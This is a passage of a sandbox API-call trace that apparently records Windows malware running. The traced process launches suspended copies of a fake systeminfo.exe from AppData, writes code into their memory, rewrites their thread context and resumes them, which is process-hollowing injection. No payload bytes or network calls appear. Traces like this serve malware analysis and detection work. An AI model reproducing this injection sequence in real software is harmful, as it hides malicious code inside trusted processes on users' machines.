_Dest=0x2c3f728, _Count=0x104, _Format="\"%s\" \"%s\"" | out: _Dest="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"") returned 92 [0068.448] VirtualAlloc (lpAddress=0x0, dwSize=0x19000, flAllocationType=0x3000, flProtect=0x4) returned 0xac0000 [0068.448] WTSGetActiveConsoleSessionId () returned 0x1 [0068.448] WTSQueryUserToken (SessionId=0x1, phToken=0x2c3fb54*=0xa5b110) returned 0 [0068.448] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3f6c0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2c3fb3c | out: lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"", lpProcessInformation=0x2c3fb3c*(hProcess=0x3ec, hThread=0x3e8, dwProcessId=0x674, dwThreadId=0x9e4)) returned 1 [0068.451] VirtualQueryEx (in: hProcess=0x3ec, lpAddress=0x400000, lpBuffer=0x2c3f6e4, dwLength=0x1c | out: lpBuffer=0x2c3f6e4*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7e0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0068.451] VirtualAllocEx (hProcess=0x3ec, lpAddress=0x400000, dwSize=0x19000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0068.455] GetThreadContext (in: hThread=0x3e8, lpContext=0x2c3f418 | out: lpContext=0x2c3f418*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xbe18a0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0068.455] IsWow64Process (in: hProcess=0x3ec, Wow64Process=0x2c3f704 | out: Wow64Process=0x2c3f704) returned 1 [0068.455] WriteProcessMemory (in: hProcess=0x3ec, lpBaseAddress=0x400000, lpBuffer=0xac0000*, nSize=0x19000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xac0000*, lpNumberOfBytesWritten=0x0) returned 1 [0068.456] WriteProcessMemory (in: hProcess=0x3ec, lpBaseAddress=0x7efde008, lpBuffer=0x2c3f708*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x2c3f708*, lpNumberOfBytesWritten=0x0) returned 1 [0068.456] WriteProcessMemory (in: hProcess=0x3ec, lpBaseAddress=0x7efdf010, lpBuffer=0x2c3f708*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x2c3f708*, lpNumberOfBytesWritten=0x0) returned 1 [0068.457] SetThreadContext (hThread=0x3e8, lpContext=0x2c3f418*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x406c63, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0068.457] ResumeThread (hThread=0x3e8) returned 0x1 [0068.457] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0xffffffff) returned 0x0 [0069.132] CloseHandle (hObject=0x3ec) returned 1 [0069.132] CloseHandle (hObject=0x3e8) returned 1 [0069.132] CloseHandle (hObject=0x0) returned 0 [0069.133] VirtualFree (lpAddress=0xac0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.133] GetTickCount () returned 0x205d9 Thread: id = 49 os_tid = 0x894 Thread: id = 50 os_tid = 0x8a4 Thread: id = 67 os_tid = 0x8b4 [0052.957] GetTickCount () returned 0x1c6c7 [0053.955] GetTickCount () returned 0x1caad [0068.494] GetTickCount () returned 0x20379 [0068.494] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1fb08, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.494] _snwprintf (in: _Dest=0x2f1f900, _Count=0x104, _Format="\"%s\" /scomma \"%s\"" | out: _Dest="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB70.tmp\"") returned 100 [0068.494] VirtualAlloc (lpAddress=0x0, dwSize=0x5b000, flAllocationType=0x3000, flProtect=0x4) returned 0xb20000 [0068.496] WTSGetActiveConsoleSessionId () returned 0x1 [0068.496] WTSQueryUserToken (SessionId=0x1, phToken=0x2f1fd2c*=0x2a7b118) returned 0 [0068.496] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB70.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2f1f898*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2f1fd14 | out: lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB70.tmp\"", lpProcessInformation=0x2f1fd14*(hProcess=0x3f0, hThread=0x3f4, dwProcessId=0xa98, dwThreadId=0x964)) returned 1 [0068.497] VirtualQueryEx (in: hProcess=0x3f0, lpAddress=0x400000, lpBuffer=0x2f1f8bc, dwLength=0x1c | out: lpBuffer=0x2f1f8bc*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7e0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0068.497] VirtualAllocEx (hProcess=0x3f0, lpAddress=0x400000, dwSize=0x5b000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0068.502] GetThreadContext (in: hThread=0x3f4, lpContext=0x2f1f5f0 | out: lpContext=0x2f1f5f0*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xbe18a0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, 